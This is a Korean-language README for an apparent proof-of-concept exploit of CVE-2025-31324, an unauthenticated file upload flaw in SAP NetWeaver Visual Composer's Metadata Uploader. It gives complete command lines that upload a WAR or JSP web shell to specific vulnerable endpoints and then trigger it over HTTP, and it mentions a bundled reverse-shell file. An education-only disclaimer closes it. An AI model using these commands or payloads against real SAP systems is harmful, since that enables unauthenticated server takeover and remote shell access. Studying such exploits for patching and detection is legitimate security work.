CVE-2025-31324_PoC

CVE-2025-31324에 대한 개념 증명: SAP NetWeaver Visual Composer Metadata Uploader의 인증되지 않은 업로드

이 스크립트는 다음을 수행합니다:

1. 취약한 엔드포인트에 파일 업로드 (Upload 호스트/포트를 통해)
2. HTTP GET을 통한 선택적 트리거 (Trigger 호스트/포트를 통해)
3. 기본 응답 검증/로깅

사용 예시: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developerserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

또한 .war 파일을 업로드할 수 있습니다. cache.jsp는 시스템 내부에 접근할 수 있는 리버스 셸입니다. (여전히 문제를 해결 중입니다)

면책 조항

이는 교육 목적으로만 제공되며 악의적인 활동에 사용되어서는 안 됩니다. 보안 취약점을 테스트하거나 연구할 때는 항상 필요한 권한이 있는지 확인하고 윤리적 지침을 따르십시오.

질문이나 설명이 필요하시면 언제든지 연락해 주세요. 안전하게 보안을 유지하세요!